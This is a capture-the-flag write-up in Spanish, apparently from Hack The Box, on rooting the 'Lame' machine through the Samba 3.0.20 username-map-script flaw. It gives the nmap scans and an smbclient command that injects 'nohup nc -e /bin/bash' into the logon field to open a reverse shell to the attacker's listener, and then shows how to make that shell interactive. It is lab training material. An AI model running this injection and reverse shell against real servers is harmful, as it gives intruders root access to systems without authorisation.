Fecha de lanzamiento | 14 Mar 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Linux |
IP | 10.10.10.3 |
RECONOCIMIENTO
Usaremos la herramienta de escaneo de redes nmap
para comenzar con la fase de reconocimiento.
Vamos a escanear todo el rango de puertos de la máquina objetivo por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado agresiva e indicando que no queremos que nos aplique resolución DNS para evitar demoras en el escaneo.
nmap -p- --open -T5 -n -v 10.10.10.3
A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar detectar las versiones y los servicios de los puertos que el comando anterior nos ha detectado como abiertos. Lo guardaremos en un fichero llamado targeted para poder volver a consultarlo durante el resto de fases del pentesting.
nmap -sCV -p 21,22,139,445,3632 10.10.10.3 -oN targeted
EXPLOTACIÓN
Puerto 445 – Samba
Samba es un proyecto de software libre que implementa el protocolo de archivos compartidos de Windows para sistemas de tipo Unix. Este protocolo es empleado para operaciones cliente-servidor en una red y permite, principalmente y a grandes rasgos, compartir en red diversos sistemas de archivos. (Sus funcionalidades van mucho mas allá de esta breve explicación)
Lo primero que debemos de fijarnos cuando vemos el escaneo realizado anteriormente, es la versión que tiene el servicio. Observamos que es Samba 3.0.20, versión que si recopilamos algo de información por Internet vemos que está muy desactualizada ya que a día de hoy la versión existente más estable es la 4.16.1. Aquí tenemos una vía potencial a explotar así que usaremos la herramienta searchsploit para buscar si existe algún exploit público para la versión que tenemos.
searchsploit samba 3.0.20
Vemos que tenemos un script con extensión .rb que nos permitiría la ejecucción de comandos en la máquina objetivo. Vamos a echarle un vistazo al codigo y ver realmente que es lo que está haciendo por detrás.
searchsploit -x unix/remote/16320.rb
Vemos que en el campo de usuario podemos inyectar un payload si de forma anterior ponemos ”/=`nohup y cerramos luego todo el codigo.
Para comprobar que realmente el exploit funciona y la vulnerabilidad está existente en la máquina, vamos a ponernos en escucha de trazas ICMP con la herramienta tcpdump
por la interfaz de red de nuestra VPN.
tcpdump -i tun0 icmp -n
Nos conectamos como clientes al servidor Samba mediante la herramienta smbclient
para listar los recursos existentes a nivel de red mediante una sesión sin contraseña.
smbclient -L 10.10.10.3 -N
ERROR: protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
Parece que tenemos un error en la negociación del protocolo, por lo que tenemos que usar en el comando un parámetro más para forzar el protocolo NT1.
smbclient -L 10.10.10.3 -N --option="client min protocol=NT1"
Vemos que tenemos acceso a una carpeta compartida a nivel de red llamada “tmp” por lo que la usaremos para autenticarnos contra ella e inyectar el payload en el proceso. Hay que recordar que si ahora no ponemos el parámetro -N
, nos va a pedir una contraseña que este caso la podemos dejar en blanco ya que está permitido el uso de una «NULL SESSION«. Luego nos pedira una contraseña que podemos escribir lo que queramos ya que una vez realizada la petición de login el payload se va a ejecutar.
Como podemos ver hemos recibido una traza ICMP desde la direccion IP 10.10.10.3 en nuestro equipo por lo que podemos corroborar que el exploit es válido y hemos conseguido la ejecucción remota de comandos en la máquina objetivo. Ahora la finalidad va a ser obtener una shell de forma reversa usando la herramienta netcat
. Vamos a ponernos en escucha por el puerto 443 y en el comando que vamos a inyectar en el usuario haremos que la máquina Lame nos mande una shell a ese puerto.
nc -lvnp 443
smbclient //10.10.10.3/tmp --option="client min protocol=NT1" -c 'logon "/=`nohup nc -e /bin/bash 10.10.14.10 443`"'
Si hemos realizado todo bien, tendremos una conexión entrante en nuestro puerto a la escucha desde la IP 10.10.10.3 y tendremos acceso a una shell para ejecucción de comandos.
Vemos que la shell no es interactiva, ya que no podemos utilizar shortcuts ni tenemos un prompt y además las dimensiones no están ajustadas a nuestra terminal. Vamos a realizar una serie de comandos en cadena para obtener una shell interactiva.
script /dev/null -c bash Ctrl_Z #No es un comando, hay que realizar el shortcut. stty raw -echo;fg reset #Mientras lo escribamos no lo vamos a ver. Una vez escrito darle al enter para que cargue el prompt. export TERM=xterm export SHELL=bash stty rows 52 columns 213 # Los valores de vuestra terminal podeis verlos con el comando stty -a
Ya tendremos una shell interactiva como ROOT por lo que no será necesario escalar privilegios y podemos acceder a las dos flags.